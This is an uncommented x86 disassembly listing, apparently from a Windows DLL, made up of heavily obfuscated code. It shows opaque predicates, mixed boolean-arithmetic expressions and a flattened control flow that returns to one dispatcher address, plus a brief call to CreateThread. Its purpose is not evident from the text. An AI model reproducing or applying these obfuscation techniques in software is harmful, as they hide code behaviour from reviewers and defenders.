xor eax, edi
not edx
or edx, eax
mov eax, edx
not eax
mov ecx, eax
and ecx, 0x5d6e032f
and eax, edx
and edx, 0xa291fcd0
or edx, ecx
mov ecx, edx
xor ecx, 0x2017090
xor edx, 0x5d6e032f
mov esi, eax
not esi
mov edi, edx
and edi, 0xb5f28e46
and ecx, 0x4a0d71b9
or ecx, edi
or edx, esi
and esi, 0xb5f28e46
and eax, 0x4a0d71b9
or eax, esi
xor eax, ecx
not edx
or edx, eax
mov eax, edx
not eax
mov ecx, eax
and ecx, 0xed34ff91
and edx, 0x12cb006e
or edx, ecx
xor edx, 0x12cb006e
or edx, eax
mov edi, dword [esp]
mov ecx, edi
not ecx
mov eax, ecx
or eax, edx
not eax
and ecx, 0xf146fbce
and edi, 0xeb90431
or edi, ecx
xor edi, edx
xor edi, 0xeb90431
or edi, eax
mov ecx, edi
not ecx
mov edx, edi
mov eax, edi
xor eax, 0x99adfda3
and eax, edi
mov esi, ecx
and esi, 0xa1393bb
and edi, 0xf5ec6c44
or edi, esi
not edi
or edi, ecx
and ecx, 0x1081022
and edx, 0x98a5ed81
or edx, ecx
xor edx, 0x98a5ed81
or edx, eax
not eax
and eax, 0x6652025c
and edx, 0x99adfda3
or edx, eax
mov ecx, edx
not ecx
and edx, 0xffdb10ed
mov eax, ecx
and eax, 0x24ef12
or eax, edx
xor eax, 0xa377ca9
and ecx, 0xf5ec6c44
or ecx, eax
mov eax, ecx
xor eax, 0x9d8a0348
mov edx, edi
xor edx, 0x9d8a0348
mov esi, ecx
xor esi, 0x6275fcb7
and esi, edx
or ecx, edi
xor edi, 0x6275fcb7
and edi, eax
or edi, esi
not ecx
or ecx, edi
mov eax, ecx
xor eax, 0xf5ec6c44
mov edx, ecx
xor edx, 0x100190
and edx, 0xe0304994
xor ecx, 0x149fa7db
and ecx, eax
and eax, 0x143820b
or eax, edx
mov edx, eax
xor edx, 0x30001
xor eax, 0xfebc7df4
mov esi, ecx
not esi
mov edi, eax
and edi, 0xbb68be5a
and edx, 0x40134185
or edx, edi
or eax, esi
and esi, 0xbb68be5a
and ecx, 0x449741a5
or ecx, esi
xor ecx, edx
not eax
or eax, ecx
mov ecx, eax
xor ecx, 0x1e8c3460
xor eax, 0xe173cb9f
mov edx, eax
and edx, ecx
and eax, 0x95b676b7
and ecx, 0x6a498948
or ecx, eax
mov esi, ecx
xor esi, 0x14144692
mov eax, edx
not eax
xor ecx, 0x6a498948
mov edi, eax
and edi, 0xcba23165
and edx, 0x345dce9a
or edx, edi
or eax, ecx
and ecx, 0xcba23165
and esi, 0x345dce9a
or esi, ecx
xor esi, edx
not eax
or eax, esi
mov edx, eax
mov ecx, eax
xor ecx, 0xe5f9956e
and ecx, eax
or eax, 0x1a066a91
not edx
mov esi, ecx
not esi
mov edi, eax
and edi, 0xd11d14ec
and edx, 0x24e08102
or edx, edi
or eax, esi
and esi, 0xd11d14ec
and ecx, 0x2ee2eb13
or ecx, esi
xor ecx, edx
not eax
or eax, ecx
mov ecx, eax
xor ecx, 0x1a024a80
xor eax, 0xe5f9956e
mov edx, eax
and edx, 0x611c2015
and ecx, 0x9ee3dfea
or ecx, edx
xor ecx, 0x611c2015
xor eax, ecx
test eax, ecx
sete byte [esp]
setne bl
cmp dword [0x10047904], 0xa
setge al
mov byte [esp + 4], al
setl cl
mov byte [esp + 8], cl
mov ah, cl
xor ah, al
xor ah, 1
or ah, cl
mov al, ah
xor al, 1
mov dh, ah
and dh, al
mov ecx, eax
mov byte [esp + 0xc], al
xor dh, 1
mov al, dh
or al, ah
xor al, 1
or al, cl
mov dl, al
xor dl, 1
mov bh, dl
and bh, al
mov ch, dl
xor ch, bh
xor bh, 1
mov cl, al
or cl, bh
xor cl, 1
or cl, ch
or bh, dl
xor bh, 1
or bh, al
mov al, cl
xor al, 1
and al, bh
xor bh, 1
and bh, cl
or bh, al
mov cl, bh
xor cl, 1
mov al, bh
and al, cl
xor al, 1
or al, cl
xor al, 1
or al, bh
or ah, al
mov dl, byte [esp + 0xc]
mov ecx, edx
xor cl, dh
or dh, dl
xor dh, 1
or dh, cl
mov cl, dh
xor cl, 1
and cl, al
xor al, 1
mov dl, ah
xor dl, 1
and dh, al
or dh, cl
mov al, dh
xor al, 1
and dh, ah
or ah, al
and al, dl
or al, dh
xor al, 1
mov cl, ah
xor cl, al
or al, ah
xor al, 1
or al, cl
mov ecx, eax
xor cl, 1
mov ah, cl
and ah, al
xor ah, 1
or ah, al
xor ah, 1
or ah, cl
mov al, ah
xor al, 1
mov dh, ah
and dh, al
xor dh, 1
or dh, al
xor dh, 1
or dh, ah
mov al, dh
xor al, 1
mov cl, dh
and cl, al
xor cl, 1
or cl, al
xor cl, 1
or cl, dh
xor cl, 1
mov eax, ebx
or al, cl
xor cl, bl
and cl, al
mov dh, cl
movzx ecx, byte [esp + 8]
mov ah, cl
xor ah, bl
and ah, cl
mov dl, byte [esp]
mov al, byte [esp + 4]
and al, dl
and bl, cl
or bl, al
mov al, ah
xor al, 1
xor ah, bl
xor bl, 1
or bl, al
xor bl, 1
or bl, ah
mov eax, ecx
xor al, dl
or dl, cl
and dl, al
mov eax, edx
mov ch, bl
and dl, bl
xor bl, 1
xor al, 1
or ch, al
mov cl, ch
xor cl, 1
and al, bl
or dl, al
mov ah, cl
and ah, ch
xor ah, 1
or ah, ch
xor ah, 1
or ah, cl
mov al, ah
xor al, 1
and al, dl
mov cl, dl
xor cl, 1
and ah, cl
or ah, al
or cl, ch
xor ah, 1
mov al, ah
xor al, cl
or ah, cl
xor ah, 1
or ah, al
mov al, ah
xor al, 1
mov dl, ah
and dl, al
xor dl, 1
or dl, ah
xor dl, 1
or dl, al
mov ah, dl
xor ah, 1
mov ch, ah
and ch, dl
xor ch, 1
mov al, dl
xor al, ch
or ch, dl
xor ch, 1
or ch, al
mov cl, ch
xor cl, 1
and cl, ch
xor cl, 1
mov al, ch
xor al, cl
or cl, ch
xor cl, 1
or cl, al
xor cl, dl
or cl, ah
mov dl, cl
xor dl, 1
mov ah, dh
mov byte [esp + 0xc], dh
mov al, dh
xor ah, 1
mov ebx, ecx
and bl, dl
xor bl, 1
or bl, dl
xor bl, 1
or bl, cl
and dh, ah
xor dh, 1
or dh, ah
and al, dh
xor dh, 1
or dh, al
mov al, bl
inc al
mov ch, bl
and ch, al
xor ch, 1
or ch, al
xor ch, 1
or ch, bl
mov al, ch
or al, dh
xor dh, ch
mov ebx, eax
xor bl, 1
xor dh, 1
and dh, ch
mov bh, al
and bh, bl
xor bh, 1
mov ch, bl
xor ch, bh
or bh, bl
mov bl, dh
xor bl, 1
xor bh, 1
or bh, ch
mov ch, bl
and ch, dh
or al, bl
xor bl, ch
xor ch, 1
or ch, dh
xor ch, 1
or ch, bl
mov dh, bh
xor dh, 1
and dh, ch
xor ch, 1
and ch, bh
or ch, dh
xor ch, 1
mov dh, ch
xor dh, al
or ch, al
mov al, byte [esp + 0xc]
or cl, al
xor ch, 1
or ch, dh
or al, dl
or ah, dl
mov edx, ecx
xor dl, ah
or cl, ah
xor cl, 1
or cl, dl
xor cl, 1
mov edx, eax
or dl, cl
xor dl, 1
xor cl, al
or cl, dl
mov ah, cl
xor ah, 1
xor ch, 1
mov al, ch
xor al, cl
or cl, ch
mov edx, ecx
xor dl, 1
and al, ah
or ch, ah
xor al, 1
mov ah, al
xor ah, ch
or al, ch
xor al, 1
or al, ah
mov ch, al
xor ch, 1
mov ah, ch
and ah, al
xor ah, 1
mov dh, al
xor dh, ah
or ah, al
xor ah, 1
or ah, dh
mov dh, cl
and dh, dl
xor dh, 1
or dh, dl
xor dh, 1
or dh, cl
xor ah, dh
xor ch, cl
or al, dl
xor al, 1
or al, ch
mov ecx, eax
xor cl, ah
test al, 1
mov edi, 0xd182dc61
mov edx, 0x459f13fc
cmovne edi, edx
test ah, 1
cmove edi, edx
not cl
test cl, 1
mov eax, 0xd182dc61
cmovne edi, eax
jmp 0x10008b80
mov eax, dword [0x10047900]
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
not eax
mov ecx, eax
mov ebx, eax
and ecx, 0xd7f40f95
mov eax, edx
mov esi, edx
and eax, 0x280bf06a
or eax, ecx
mov edx, eax
not edx
mov ecx, edx
and ecx, 0x22060
and eax, 0xc0100404
or eax, ecx
and edx, 0x100
or edx, eax
xor edx, 0xc0122464
or edx, 0x3fedda9b
mov eax, edx
not eax
mov ecx, esi
mov ebp, esi
mov dword [esp + 4], esi
and ecx, 0xd6021936
mov esi, ebx
and esi, 0x29fde6c9
or esi, ecx
xor esi, 0x16103c52
mov ecx, ebx
and ecx, 0xc0122564
or ecx, esi
mov esi, ecx
not esi
mov edi, eax
xor edi, ecx
and edi, eax
and edx, 0xa1c0efce
and eax, 0x40120020
or eax, edx
and ecx, 0xa1c0efce
and esi, 0x5e3f1031
or esi, ecx
xor esi, eax
or esi, edi
mov eax, esi
not eax
mov ecx, eax
or ecx, 0xba19898
mov edx, esi
or edx, 0xc0120420
and edx, 0xcbb39cb8
and eax, 0x344c4203
or eax, edx
and ecx, 0xcbb39cb8
and esi, 0x2144
or esi, ecx
xor esi, eax
mov ecx, esi
not ecx
mov eax, ecx
and eax, esi
mov edx, eax
not edx
mov edi, esi
and edi, 0xda2fac55
and ecx, 0x25d053aa
or ecx, edi
or esi, edx
and edx, 0xda2fac55
and eax, 0x25d053aa
or eax, edx
xor eax, ecx
not esi
or esi, eax
mov edx, esi
not edx
mov ecx, esi
and ecx, 0x449aed24
mov eax, edx
and eax, 0xbb6512db
or eax, ecx
or edx, 0x449aed24
mov ecx, eax
not ecx
mov edi, edx
and edi, 0x587b8289
and esi, 0xa3041052
or esi, edi
or edx, ecx
and ecx, 0x587b8289
and eax, 0xa7847d76
or eax, ecx
xor eax, esi
not edx
or edx, eax
mov eax, edx
not eax
and eax, 0x330a93ab
and edx, 0xccf56c54
or edx, eax
mov esi, ebx
mov dword [esp], ebx
mov eax, ebx
or eax, 0x39841311
mov ecx, ebp
or ecx, 0x4250c4c4
and ecx, 0x7bd4d7d5
and esi, 0x4220028
or esi, ecx
and eax, 0x7bd4d7d5
mov edi, ebp
and edi, 0x80092802
or edi, eax
xor edi, esi
mov ebx, edi
xor ebx, 0xc259ecc6
xor edi, 0x3da61339
mov eax, ebx
or eax, 0x244800a0
and eax, 0x66ec42b0
mov ecx, edi
and ecx, 0x9901190d
or ecx, eax
mov eax, edi
or eax, 0x42a44210
and eax, 0x66ec42b0
mov esi, ebx
and esi, 0x12a442
or esi, eax
xor esi, ecx
mov eax, esi
xor eax, 0x9f3fb639
xor esi, 0x60c049c6
mov ecx, esi
and ecx, 0xaed7a9c8
and eax, 0x51285637
or eax, ecx
or edi, 0xbb6512db
or esi, edi
and edi, 0xaed7a9c8
and ebx, 0x40084424
or ebx, edi
xor ebx, eax
not esi
or esi, ebx
mov ecx, esi
not ecx
mov eax, ecx
and eax, esi
mov edi, esi
and edi, 0x8191ee9f
and ecx, 0x7e6e1160
or ecx, edi
mov edi, eax
not edi
or esi, edi
and edi, 0x8191ee9f
and eax, 0x7e6e1160
or eax, edi
mov edi, edx
xor edi, 0xccf56c54
xor eax, ecx
not esi
or esi, eax
mov eax, esi
not eax
mov ecx, eax
and ecx, 0x8da3201e
and esi, 0x725cdfe1
or esi, ecx
xor esi, 0x725cdfe1
or esi, eax
xor edx, 0x330a93ab
mov eax, edi
and eax, 0x673f3dc
mov ecx, edx
and ecx, 0xf98c0c23
or ecx, eax
mov dword [esp + 8], ecx
mov ebp, esi
not ebp
mov ebx, edi
or ebx, ebp
mov eax, esi
mov ecx, esi
xor esi, 0xf491f2c3
and esi, ebp
and ebp, 0x673f3dc
and eax, 0xf98c0c23
or eax, ebp
xor eax, dword [esp + 8]
not ebx
or ebx, eax
mov eax, edx
and eax, 0x1060918
mov ebp, edi
and ebp, 0xa680424
or ebp, eax
and ecx, 0xb6e0d3c
or esi, ecx
mov eax, ebp
xor eax, 0x8200020
xor ebp, 0xf00538c9
and ebp, 0xf24d3ccd
and eax, 0x9220130
or eax, ebp
or edx, 0x24c0c0c
and edx, 0xf24d3ccd
and edi, 0x490c202
or edi, edx
xor edi, esi
xor edi, eax
mov edx, edi
and edi, ebx
not ebx
not edx
mov eax, ebx
xor eax, edx
and eax, ebx
and edx, ebx
or edx, edi
mov esi, eax
not esi
mov ecx, edx
not ecx
mov edi, esi
and edi, 0x195b95d0
and eax, 0xe6a46a2f
or eax, edi
or esi, ecx
and ecx, 0x195b95d0
and edx, 0xe6a46a2f
or edx, ecx
xor edx, eax
not esi
or esi, edx
mov edi, esi
not edi
mov ecx, edi
and ecx, 0x382c30d6
mov eax, esi
and eax, 0xc7d3cf29
or eax, ecx
mov ecx, eax
xor ecx, 0x400
xor eax, 0x44
mov edx, edi
or edx, 0x2000264
or eax, 0x44440008
and eax, 0x4644026c
and ecx, 0x30000402
or ecx, eax
and edx, 0x4644026c
mov eax, esi
and eax, 0x110000
or eax, edx
xor eax, ecx
mov edx, eax
xor edx, 0x500008
xor eax, 0xbbaafff7
mov ecx, edi
and ecx, 0x7133a4b0
and esi, 0x8ecc5b4f
or esi, ecx
xor esi, 0x766a2de
xor edi, esi
and edi, esi
mov esi, edi
not esi
mov ecx, eax
or ecx, esi
not ecx
and eax, 0x66a7aa41
and edx, 0x1050042e
or edx, eax
and esi, 0x66a7aa41
and edi, 0x995855be
or edi, esi
xor edi, edx
or edi, ecx
mov eax, edi
xor eax, 0xcd3014b4
mov ebx, eax
mov eax, dword [esp + 4]
mov ecx, eax
xor ecx, 0x29974a1f
and ecx, eax
mov edx, eax
mov esi, dword [esp]
mov eax, esi
or eax, ecx
not ecx
and ecx, 0xd24820e0
and eax, 0x21914800
or eax, ecx
and edx, 0x63cbef67
mov ecx, esi
and ecx, 0x9c341098
or ecx, edx
xor ecx, 0x90128787
and esi, 0xf3d968e0
or esi, ecx
xor esi, eax
and eax, esi
mov edx, esi
not edx
or edx, eax
and esi, 0xc26971f
mov eax, edx
xor eax, 0xc26971f
and eax, edx
or eax, esi
mov ebp, eax
xor edi, 0x32cfeb4b
mov eax, edi
mov ecx, edi
and eax, 0xd8d1cb36
mov edx, ebx
and edx, 0x272e34c9
or edx, eax
mov eax, edx
xor eax, 0x80040
xor edx, 0x40000804
mov dword [esp], edi
or edi, 0x60041804
or edx, 0xa000320
and edx, 0x6a041b24
and eax, 0x80488052
or eax, edx
and edi, 0x6a041b24
mov esi, ebx
mov dword [esp + 8], ebx
and esi, 0x15b36489
or esi, edi
xor esi, eax
mov eax, esi
xor eax, 0x1e900681
xor esi, 0xe04c9856
and eax, 0x7edc8e95
mov edx, esi
and edx, 0x8123716a
or edx, eax
xor edx, 0xd0899044
and esi, 0xae551ed1
or esi, edx
mov eax, ecx
and eax, 0x51aae12e
mov edi, ebx
and edi, 0xae551ed1
or edi, eax
mov ecx, ebp
mov edx, ebp
not edx
mov ebx, edx
and ebx, ebp
mov eax, edx
and eax, 0x51aae12e
mov dword [esp + 4], ebp
and ecx, 0xae551ed1
or ecx, eax
mov eax, dword [esp + 4]
and eax, 0xf623117a
not ecx
or ecx, edx
mov dword [esp + 4], ecx
and edx, 0x9dcee85
or edx, eax
mov eax, ebx
not eax
or ebp, eax
and eax, 0xf623117a
and ebx, 0x9dcee85
or ebx, eax
xor ebx, edx
not ebp
or ebp, ebx
mov eax, ebp
not eax
mov ecx, eax
and ecx, 0x8ef93907
and ebp, 0x7106c6f8
or ebp, ecx
xor ebp, 0xdf53d829
or ebp, eax
mov ecx, esi
and ecx, 0x122a70d6
mov eax, esi
not eax
mov edx, eax
and edx, 0xedd58f29
or edx, ecx
not edi
or edi, dword [esp]
mov ebx, edi
not ebx
mov ecx, edi
and ecx, 0x5e079828
mov dword [esp + 0xc], ecx
xor edi, 0x48915639
and edi, ebx
mov ecx, ebx
and ecx, 0xa1f867d7
add ecx, dword [esp + 0xc]
mov ebx, ecx
xor ebx, 0xa1f867d7
xor ecx, 0xe96931ee
and ecx, ebx
or edi, ecx
mov ecx, edx
xor ecx, 0x22086
or ecx, 0x900238
mov dword [esp + 0xc], edx
xor edx, 0x4440000
and ecx, 0xa192abbe
and edx, 0x166c0040
or edx, ecx
or esi, 0xa102a986
and esi, 0xa192abbe
and eax, 0x48015401
or eax, esi
xor eax, edx
mov ecx, edi
xor ecx, edi
not ecx
and ecx, eax
xor ecx, edi
mov eax, dword [esp + 0xc]
xor eax, 0xedd58f29
or ebx, eax
mov edx, ebp
xor edx, ebp
not ebx
or ebx, ecx
not edx
mov eax, dword [esp + 4]
and edx, eax
xor edx, ebp
or ebp, eax
mov eax, edx
not eax
mov ecx, eax
and ecx, 0x58abb09a
and edx, 0xa7544f65
or edx, ecx
xor edx, ebp
xor edx, 0xa7544f65
or eax, ebp
not eax
or eax, edx
mov ecx, ebx
not ecx
mov esi, ecx
and esi, 0x8a4bc6d9
mov edx, ebx
and edx, 0x75b43926
or edx, esi
mov esi, eax
not esi
xor edx, 0x8a4bc6d9
or edx, esi
and esi, 0x89613f00
and eax, 0x769ec0ff
or eax, esi
xor eax, ecx
xor eax, 0x769ec0ff
and eax, ebx
mov ecx, eax
not ecx
mov esi, ecx
and esi, 0x56c99bba
and eax, 0xa9366445
or eax, esi
xor eax, edx
xor eax, 0xa9366445
or ecx, edx
not ecx
or ecx, eax
mov edx, ecx
not edx
mov eax, ecx
xor eax, 0xf87ac5ef
and eax, ecx
or ecx, 0x7853a10
mov esi, eax
not esi
mov edi, ecx
and edi, 0x6c4efe
and edx, 0xf8128101
or edx, edi
or ecx, esi
and esi, 0x6c4efe
and eax, 0xff93b101
or eax, esi
xor eax, edx
not ecx
or ecx, eax
mov ebx, ecx
xor ebx, 0x7853a10
xor ecx, 0x2032416b
and ecx, 0x2737496b
mov eax, ebx
and eax, 0xd8c8b694
or eax, ecx
mov ecx, eax
xor ecx, 0xd8c8b694
mov edx, dword [esp + 8]
and edx, 0x50eca6ff
mov ebp, dword [esp]
mov edi, ebp
and edi, 0xaf135900
or edi, edx
mov edx, edi
xor edx, 0xaf135900
mov esi, ecx
and esi, 0x7f96ae26
and ebx, 0x806951d9
or ebx, esi
mov esi, edx
and esi, 0x7f96ae26
and ebp, 0x806951d9
or ebp, esi
mov esi, ebp
xor esi, ebp
not esi
and esi, ebx
xor eax, 0x2737496b
xor esi, ebp
mov ebx, eax
and ebx, 0xc089b087
and ecx, 0x3f764f78
or ecx, ebx
xor edi, 0x50eca6ff
or eax, edi
and edi, 0xc089b087
and edx, 0x3f764f78
or edx, edi
xor edx, ecx
not eax
or eax, edx
not eax
or eax, esi
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x5b7d7cf0
and ecx, 0xa482830f
or ecx, edx
xor ecx, 0xa482830f
or ecx, eax
xor ecx, 0xffffffff
sete byte [esp + 8]
setne byte [esp + 4]
cmp dword [0x10047904], 0xa
setl dh
setge bl
mov ecx, ebx
xor cl, dh
mov eax, ecx
not al
and al, cl
xor al, 1
mov dl, cl
xor dl, al
or al, cl
xor al, 1
or al, dl
xor al, bl
mov ah, al
and ah, dh
xor ah, 1
mov cl, ah
xor cl, al
or ah, al
xor ah, 1
or ah, cl
mov cl, ah
xor cl, 1
mov byte [esp], cl
mov ch, cl
and ch, ah
xor ch, 1
mov al, cl
xor al, ch
mov dl, cl
or dl, ch
xor dl, 1
or dl, al
mov cl, dl
xor cl, ah
mov al, cl
and cl, dl
xor dl, 1
xor al, 1
and dl, al
or cl, dl
xor cl, 1
or cl, al
mov dl, cl
xor dl, 1
mov al, cl
xor al, dh
and al, cl
mov bh, cl
and bh, dl
xor bh, 1
or bh, dl
xor bh, 1
or bh, cl
and cl, dh
or dh, bh
xor bh, 1
or bh, bl
and bl, dl
or cl, bl
xor al, 1
xor cl, 1
mov dl, al
xor dl, cl
or cl, al
xor cl, 1
or cl, dl
mov al, cl
xor al, 1
mov dl, al
and dl, cl
xor al, dl
xor dl, 1
or dl, cl
xor dl, 1
or dl, al
mov al, dl
xor al, 1
xor dh, 1
xor bh, 1
or bh, dh
mov cl, bh
xor cl, 1
and cl, dl
mov bl, al
xor bl, bh
and bl, al
mov dh, al
and dh, bh
or dh, cl
xor bh, dl
or bh, bl
mov al, bh
xor al, 1
mov cl, dh
xor cl, 1
and al, cl
and dh, bh
or dh, al
or cl, bh
xor dh, 1
mov al, dh
xor al, cl
or dh, cl
xor dh, 1
or dh, al
mov dl, byte [esp + 4]
mov al, dl
inc al
mov cl, al
and cl, dl
xor al, cl
xor cl, 1
or cl, dl
xor cl, 1
or cl, al
mov al, cl
xor al, 1
and al, cl
xor al, 1
mov dl, cl
xor dl, al
or al, cl
xor al, 1
or al, dl
mov ebx, eax
mov cl, al
or cl, dh
and al, dh
mov bh, dh
xor bh, 1
xor bl, 1
mov edx, ecx
xor dl, 1
and bl, bh
or al, bl
xor bh, al
and bh, al
mov al, bh
xor al, 1
and bh, cl
and dl, al
or dl, bh
or al, cl
xor al, 1
or al, dl
mov byte [esp + 0xc], al
mov byte [esp + 0x10], ah
mov al, ah
xor al, ch
or ch, ah
xor ch, 1
or ch, al
mov al, ch
xor al, 1
and ch, al
xor ch, 1
mov cl, ch
xor cl, al
or ch, al
xor ch, 1
or ch, cl
mov bl, ch
xor bl, 1
mov cl, byte [esp]
mov eax, ecx
mov ah, byte [esp + 8]
xor al, ah
and al, cl
and cl, ah
mov byte [esp], cl
or ah, ch
and ch, bl
xor ch, 1
mov edx, ebx
xor dl, ch
or ch, bl
xor ch, 1
or ch, dl
xor ch, 1
mov dh, byte [esp + 4]
or ch, dh
mov bl, ch
xor bl, 1
mov dl, ah
xor dl, 1
mov bh, ch
and bh, bl
mov cl, ah
and cl, dl
xor bh, 1
or bh, bl
xor bh, 1
or bh, ch
xor cl, 1
or cl, dl
xor cl, 1
or cl, ah
xor cl, bh
xor ch, ah
or dl, bl
xor cl, 1
xor dl, 1
or dl, ch
mov ah, cl
xor ah, dl
or dl, cl
xor dl, 1
or dl, ah
movzx ecx, byte [esp + 0x10]
and cl, dh
mov ah, byte [esp]
or ah, cl
xor al, 1
xor ah, 1
mov ecx, eax
xor cl, ah
or al, ah
xor al, 1
or al, cl
mov cl, ah
or cl, al
xor cl, 1
xor al, ah
or al, cl
mov ah, dl
xor ah, 1
mov ecx, edx
xor cl, al
xor cl, 1
or cl, ah
mov ch, cl
xor ch, 1
xor ah, al
or al, dl
and ah, dl
xor ah, 1
mov dl, ah
xor dl, al
or ah, al
xor ah, 1
or ah, dl
mov al, ah
xor al, 1
and ah, cl
or cl, al
and al, ch
or al, ah
xor al, 1
mov edx, ecx
xor dl, al
or al, cl
xor al, 1
or al, dl
mov edx, eax
xor dl, 1
mov ecx, eax
and cl, dl
xor cl, 1
or cl, al
xor cl, 1
or cl, dl
mov eax, ecx
xor al, 1
mov ah, cl
and ah, al
xor ah, 1
or ah, al
xor ah, 1
or ah, cl
mov cl, ah
xor cl, 1
mov dh, byte [esp + 0xc]
mov ch, dh
xor ch, 1
mov dl, ch
and dl, dh
mov al, ch
xor al, dl
xor dl, 1
or dh, dl
xor dh, 1
or dh, al
mov ebx, ecx
and bl, ah
xor bl, 1
mov al, ah
xor al, bl
or bl, ah
mov bh, ch
xor bh, dl
or dl, ch
mov ah, dh
xor ah, 1
xor bl, 1
or al, bl
xor dl, 1
or dl, bh
or bl, cl
mov ch, bl
xor ch, 1
mov cl, ch
and cl, bl
xor cl, 1
or cl, bl
xor cl, 1
or cl, ch
xor cl, dl
mov ch, al
xor ch, 1
mov dl, dh
and dl, ah
xor dl, 1
mov ebx, edx
xor bl, ah
or dl, ah
xor dl, 1
or dl, bl
mov bl, ch
and bl, al
xor bl, 1
or bl, al
xor bl, 1
or bl, ch
and ch, dl
xor dl, 1
and dl, al
or dl, ch
mov ch, bl
xor bl, 1
and bl, ah
and ch, dh
or al, dh
xor al, 1
or al, ch
or al, bl
xor dl, 1
mov ah, dl
or ah, al
xor dl, al
mov al, cl
xor al, 1
xor ah, 1
or dl, ah
mov ah, dl
or ah, al
xor al, dl
or dl, cl
and al, cl
xor al, 1
mov ecx, edx
xor cl, al
or al, dl
xor ah, 1
xor al, 1
or al, cl
xor al, ah
mov ecx, eax
not cl
and cl, ah
test al, 1
mov edi, 0xf780ee1d
mov edx, 0xb8300f85
cmovne edi, edx
test cl, 1
mov ecx, 0xf780ee1d
cmove edi, ecx
cmovne edi, edx
test al, 1
cmovne edi, edx
jmp 0x10008b80
mov edi, 0x12544d7c
jmp 0x10008b80
push dword [esp + 0x28]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0xffffffffffffffaa
push dword [esp + 0x38]
mov esi, dword [esp + 0x34]
push esi
call section..text
add esp, 0xc
mov edi, 0x7438911e
push 0
push 0
push esi
push 0x10008b00
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [esp + 0x3c], eax
jmp 0x10008b80
mov eax, dword [0x10047900]
lea edx, [eax + 1]
imul edx, eax
mov ecx, edx
not ecx
mov eax, edx
mov ebp, edx
mov dword [esp + 8], edx
and eax, 0x9d30a77c
mov edx, ecx
mov ebx, ecx
mov dword [esp + 4], ecx
and edx, 0x62cf5883
or edx, eax
mov ecx, edx
xor ecx, 0x20f5803
xor edx, 0x1510845c
and edx, 0x75d084dc
and ecx, 0x8a2f7b23
or ecx, edx
mov eax, ecx
xor eax, 0x1800494
xor ecx, 0x8a003020
and ecx, 0xfe50b068
and eax, 0x1af4f97
or eax, ecx
mov esi, eax
xor esi, 0x1af4f97
mov ecx, eax
xor ecx, 0x100020
xor eax, 0x189a6778
and eax, esi
or esi, 0xe6cad710
mov edx, eax
not edx
mov edi, esi
and edi, 0x3b453b4d
and ecx, 0x3000a2
or ecx, edi
or esi, edx
and edx, 0x3b453b4d
and eax, 0xc4bac4b2
or eax, edx
xor eax, ecx
not esi
or esi, eax
mov eax, esi
not eax
mov ecx, eax
and ecx, 0xe6cad710
and esi, 0x193528ef
or esi, ecx
mov ecx, esi
and ecx, 1
mov edx, esi
and edx, 0xe9c6fa52
and eax, 1
or eax, edx
or eax, ecx
not esi
and esi, 0x163905ac
or esi, eax
mov ecx, ebp
and ecx, 0x7636fcc9
mov eax, ebx
and eax, 0x89c90336
or eax, ecx
mov edx, eax
xor edx, 0x7636fcc9
xor eax, 0x80c00130
mov ecx, edx
and ecx, 0xfffffffe
and eax, 0xf6c64530
and edx, 0x939bacf
or edx, eax
xor edx, 0x939bace
or edx, ecx
mov eax, edx
not eax
mov ecx, eax
and ecx, 0xdfe9ff72
and eax, edx
and edx, 0x2016008d
or edx, ecx
mov edi, edx
xor edi, 0x2006000d
xor edx, 0xdfe9ff72
mov ecx, edx
and ecx, 0xc9b0d5d0
and edi, 0x364f2a2f
or edi, ecx
mov ecx, eax
not ecx
or edx, ecx
and ecx, 0xc9b0d5d0
and eax, 0x364f2a2f
or eax, ecx
mov ecx, esi
xor ecx, 0x163905ac
xor eax, edi
mov ebx, esi
xor ebx, 0xe9c6fa53
not edx
or edx, eax
mov eax, ecx
and eax, 0x640c5f2d
mov edi, ebx
and edi, 0x9bf3a0d2
or edi, eax
xor esi, 0x548d9906
and esi, ebx
and ecx, 0xb8030301
and ebx, 0x5486054
or ebx, ecx
mov eax, edx
not eax
xor edi, 0x9bf3a0d2
or edi, eax
xor ebx, 0x5486054
or esi, ebx
and eax, 0xbd4b6355
and edx, 0x42b49caa
or edx, eax
xor edx, esi
mov ebp, edx
not ebp
mov eax, ebp
and eax, 0x84249b0e
mov ecx, edx
and ecx, 0x7bdb64f1
or ecx, eax
mov dword [esp], ecx
mov ebx, edi
xor ebx, 0x9c4e8a0a
mov ecx, ebx
and ecx, edi
mov eax, edi
mov dword [esp + 0xc], edi
mov edi, ecx
not edi
mov esi, edi
and esi, 0x3c6c91a3
and ecx, 0xc3936e5c
or ecx, esi
mov esi, eax
not esi
and ebx, esi
mov eax, ebx
not eax
or edi, eax
and eax, 0x3c6c91a3
and ebx, 0xc3936e5c
or ebx, eax
xor ebx, ecx
not edi
or edi, ebx
mov eax, dword [esp]
mov ebx, eax
xor ebx, 0x7bdb64f1
xor eax, 0x84249b0e
mov dword [esp], eax
or eax, 0x1000820a
and eax, 0x1020b26f
mov ecx, ebx
and ecx, 0x63914590
or ecx, eax
or ebp, 0x203065
and ebp, 0x1020b26f
and edx, 0x8c4e0800
or edx, ebp
xor edx, ecx
mov ebp, edx
xor ebp, edx
not ebp
and ebp, edi
xor ebp, edx
mov eax, esi
and eax, 0xc083c6d0
mov ecx, dword [esp + 0xc]
and ecx, 0x3f7c392f
or ecx, eax
mov eax, dword [esp]
or esi, eax
and eax, 0xc083c6d0
and ebx, 0x3f7c392f
or ebx, eax
xor ebx, ecx
not esi
or esi, ebx
not esi
or esi, ebp
mov eax, esi
not eax
mov ecx, eax
and ecx, esi
mov edx, esi
and edx, 0xd533bb32
mov edi, eax
and edi, 0x2acc44cd
or edi, edx
mov ebx, ecx
not ebx
mov edx, esi
or edx, ebx
and ebx, 0xd533bb32
and ecx, 0x2acc44cd
or ecx, ebx
xor ecx, edi
not edx
or edx, ecx
and eax, 0xe26f141f
and esi, 0x1d90ebe0
or esi, eax
mov ecx, esi
xor ecx, 0x1d90ebe0
xor esi, 0x6047040e
and esi, 0x7857ec6e
mov eax, ecx
and eax, 0x87a81391
or eax, esi
xor eax, 0x87a81391
or eax, ecx
mov esi, eax
mov ecx, edx
xor ecx, eax
and ecx, edx
and eax, edx
not edx
not esi
and esi, edx
or eax, esi
mov edi, ecx
not edi
mov edx, eax
not edx
mov esi, edi
and esi, 0x897e44b1
and ecx, 0x7681bb4e
or ecx, esi
or edi, edx
and edx, 0x897e44b1
and eax, 0x7681bb4e
or eax, edx
xor eax, ecx
not edi
or edi, eax
